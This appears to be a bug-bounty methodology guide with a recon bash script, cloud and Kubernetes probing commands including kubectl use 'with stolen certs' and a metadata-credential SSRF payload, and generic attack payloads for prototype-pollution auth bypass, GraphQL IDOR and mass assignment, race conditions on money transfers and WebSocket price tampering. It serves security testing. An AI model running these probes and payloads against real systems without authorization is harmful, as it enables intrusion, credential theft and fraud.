🗡️ The Uchiha Methodology 2.0: Advanced Recon & Exploitation Mastery

╔════════════════════════════════════════════════════════════════╗
║  "Version 1.0 found bugs. Version 2.0 finds systems."          ║
║  "The difference between hunter and apex predator is          ║
║   understanding not just the vulnerability, but the human      ║
║   who built it, the business that runs it, and the silence     ║
║   between their assumptions."                                  ║
║                                          — uchia_hacker        ║
╚════════════════════════════════════════════════════════════════╝

# TIP Template for [Target Name]

## Business Context
- Industry: Fintech/SaaS/Healthcare/etc.
- Business Model: B2B/B2C/Marketplace
- Recent Funding: $XXM on [Date] (new features = new bugs)
- Acquisitions (last 12 months): [List] (integration points)
- Key Personnel: CTO background, security team size

## Technical Stack
- Frontend: React/Vue/Angular version?
- Backend: Node/Python/Java/Go?
- Database: PostgreSQL/Mongo/MySQL?
- Cloud: AWS/GCP/Azure? (affects SSRF impact)
- CDN: CloudFlare/Fastly? (cache poisoning potential)
- API: REST/GraphQL/gRPC?

## Attack Surface Hypothesis
- Most critical asset: [Payment system/User data/API keys]
- Likely weak point: [New feature/Integration/Admin panel]
- Chain potential: [High/Medium/Low]
- Estimated bounty ceiling: [$X,XXX - $XX,XXX]

#!/bin/bash
# advanced_recon.sh — Uchiha Methodology 2.0

TARGET=$1
DATE=$(date +%Y%m%d)
OUTPUT="recon_v2_${TARGET}_${DATE}"

mkdir -p $OUTPUT/{subs,resolved,alive,tech,urls,secrets}

echo "[*] Phase 1: Passive Enumeration (Silent)"

# Source 1: Certificate Transparency (deep)
curl -s "https://crt.sh/?q=%.${TARGET}&output=json" | jq -r '.[].name_value' | sed 's/\*\.//g' | sort -u > $OUTPUT/subs/crtsh.txt

# Source 2: Subfinder with all sources
subfinder -d $TARGET -all -o $OUTPUT/subs/subfinder.txt

# Source 3: Amass (deep, slow, thorough)
amass enum -d $TARGET -config /path/to/config.ini -o $OUTPUT/subs/amass.txt

# Source 4: GitHub subdomain discovery
github-subdomains -d $TARGET -o $OUTPUT/subs/github.txt

# Source 5: Permutation generation (predict undiscovered)
gotator -sub $OUTPUT/subs/all_combined.txt -perm permutations.txt -depth 2 -numbers 10 > $OUTPUT/subs/permutations.txt

echo "[*] Phase 2: DNS Resolution (Smart)"

# Combine all sources
cat $OUTPUT/subs/*.txt | sort -u > $OUTPUT/subs/all_subs.txt

# Resolve with DNS validation
puredns resolve $OUTPUT/subs/all_subs.txt -r /path/to/resolvers.txt -w $OUTPUT/resolved/resolved.txt

# Wildcard detection
cat $OUTPUT/resolved/resolved.txt | dnsx -wildcard -o $OUTPUT/resolved/wildcards.txt

# Remove wildcards from scope
grep -v -f $OUTPUT/resolved/wildcards.txt $OUTPUT/resolved/resolved.txt > $OUTPUT/resolved/final_scope.txt

echo "[*] Phase 3: Advanced Probing"

# httpx with advanced options
httpx -l $OUTPUT/resolved/final_scope.txt \
  -tech-detect \
  -status-code \
  -title \
  -web-server \
  -content-type \
  -content-length \
  -location \
  -favicon \
  -hash md5 \
  -jarm \
  -o $OUTPUT/alive/web_details.json

# Filter by technology (focus on high-value targets)
cat $OUTPUT/alive/web_details.json | jq -r 'select(.tech | contains("AWS")) | .url' > $OUTPUT/alive/aws_targets.txt
cat $OUTPUT/alive/web_details.json | jq -r 'select(.tech | contains("GraphQL")) | .url' > $OUTPUT/alive/graphql_targets.txt

echo "[+] Recon V2 complete. Results in $OUTPUT/"

# Install jarm
pip install jarm

# Fingerprint HTTPS services
cat resolved.txt | jarm -o jarm_fingerprints.txt

# Search Shodan for similar fingerprints (find related infrastructure)
# "ssl.jarm: [HASH] ssl:" [target domain]

# Wayback Machine with date filtering (find old, forgotten endpoints)
waybackurls $TARGET | grep -E '\.(php|jsp|asp|json|xml|action)' | sort -u > historical_endpoints.txt

# Find parameters that no longer exist (likely vulnerable)
cat historical_endpoints.txt | grep '?' | unfurl -u keys > old_parameters.txt

# Git history analysis (find secrets in past commits)
trufflehog git https://github.com/[target-org]/[repo].git --json > git_secrets.json

# Find when security headers were added (before = vulnerable)
curl -I -s "http://web.archive.org/web/20220101if_/https://$TARGET" | grep -i "strict-transport-security\|content-security-policy"

# S3 bucket enumeration with permutation
python3 cloud_enum.py -k $TARGET -t 50 -l /path/to/wordlist.txt

# Check for CloudFront misconfigurations
curl -s "https://$TARGET" -H "Host: $TARGET" -I | grep -i "cloudfront"

# If CloudFront, test for origin IP exposure
# Method: Check historical DNS before CloudFront
securitytrails search $TARGET --type historical

# ECS/EC2 metadata service testing (if SSRF found)
# Payload: http://169.254.170.2/v2/credentials/[GUID]

# Check for exposed k8s API
curl -k https://$TARGET:6443/api

# If 403/401, check for anonymous access
curl -k https://$TARGET:6443/api/v1/namespaces

# kubectl with stolen certs (post-exploitation)
kubectl --server=https://$TARGET:6443 --certificate-authority=ca.crt --client-certificate=client.crt --client-key=client.key get pods

Chain 1: Information → Authentication Bypass
Chain 2: Authentication → Privilege Escalation
Chain 3: Privilege → Data Access
Chain 4: Data Access → Infrastructure Access
Chain 5: Infrastructure → Complete Compromise

// Test for SSPP in JSON inputs
{"__proto__": {"isAdmin": true}}
{"constructor": {"prototype": {"isAdmin": true}}}

// 1. Pollute prototype to bypass auth
POST /api/login
{"username": "admin", "__proto__": {"role": "admin"}}

// 2. Use polluted object to access admin functions
GET /api/admin/users

// 3. Modify user data
POST /api/admin/users/123
{"role": "super_admin"}

# Introspection (if enabled)
curl -X POST https://api.$TARGET/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{ __schema { types { name fields { name type { name } } } } }"}'

# Query batching for IDOR
curl -X POST https://api.$TARGET/graphql \
  -H "Content-Type: application/json" \
  -d '[{"query": "query { user(id: 1) { email } }"}, {"query": "query { user(id: 2) { email } }"}]'

# Alias-based query flooding (DoS/Bypass rate limits)
curl -X POST https://api.$TARGET/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "query { a1: user(id: 1) { email } a2: user(id: 2) { email } ... a100: user(id: 100) { email } }"}'

# Mutation-based mass assignment
curl -X POST https://api.$TARGET/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "mutation { updateUser(id: 1, input: {role: \"admin\", isActive: true}) { id } }"}'

# race_advanced.py — Uchiha 2.0
import time
import random

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                          concurrentConnections=100,
                          requestsPerConnection=1,
                          pipeline=False)

    # Single-packet attack (for race conditions)
    attack = '''POST /api/v1/transfer HTTP/1.1
Host: %s
Content-Type: application/json
Authorization: Bearer TOKEN
Content-Length: 45

{"amount": 100, "from": "account_a", "to": "account_b"}''' % target.endpoint.host

    # Race window detection — stagger requests
    for i in range(50):
        engine.queue(attack, gate='race1')

    # Open gate with microsecond precision
    engine.openGate('race1')

def handleResponse(req, interesting):
    table.add(req)

    # Detect race wins
    if b'"status": "success"' in req.response:
        success_count = table.getResponseCount(lambda r: b'"status": "success"' in r.response)
        if success_count > 1:
            req.highlight = "red"
            req.label = "RACE_WIN"

// Connect to WebSocket
const ws = new WebSocket('wss://target.com/ws');

// Message interception & modification
ws.onmessage = function(event) {
    const data = JSON.parse(event.data);

    // Modify message before processing
    if (data.type === 'price_update') {
        data.price = 0.01; // Price manipulation
    }

    // Replay with modifications
    ws.send(JSON.stringify({
        type: 'purchase',
        item: data.item_id,
        price: data.price
    }));
};

// CSWSH (Cross-Site WebSocket Hijacking) test
// Check if WebSocket accepts cookies from other origins

1. Hook (One sentence impact)
   "A stored XSS in the invoice system allows complete account takeover
    of all 50,000 enterprise customers."

2. Chain (Step-by-step escalation)
   "XSS → Session hijacking → Admin API access → Mass password reset"

3. Business Impact (Dollar value)
   "Potential $2M in fraudulent transactions, GDPR violation fines,
    and reputational damage."

4. Fix (Clear remediation)
   "Implement CSP, sanitize HTML output, add MFA to admin actions."

# Dockerfile.uchiha-v2
FROM kalilinux/kali-rolling

# Core tools
RUN apt-get update && apt-get install -y \
    subfinder amass httpx katana nuclei \
    burpsuite zaproxy

# Advanced tools
RUN go install github.com/xnl-h4ck3r/xnLinkFinder@latest
RUN go install github.com/kleiton0x0/ppmap@latest
RUN pip install jarm truffleHog

# Custom scripts
COPY ./uchiha-scripts/ /opt/uchiha/

ENTRYPOINT ["/bin/bash"]

docker build -t uchiha-v2 .
docker run -it -v $(pwd)/targets:/targets uchiha-v2

╔════════════════════════════════════════════════════════════════╗
║  "Version 3.0 is coming. But 2.0 is where masters are made." ║
║  "See you at the apex."                                       ║
║                                          — uchia_hacker        ║
╚════════════════════════════════════════════════════════════════╝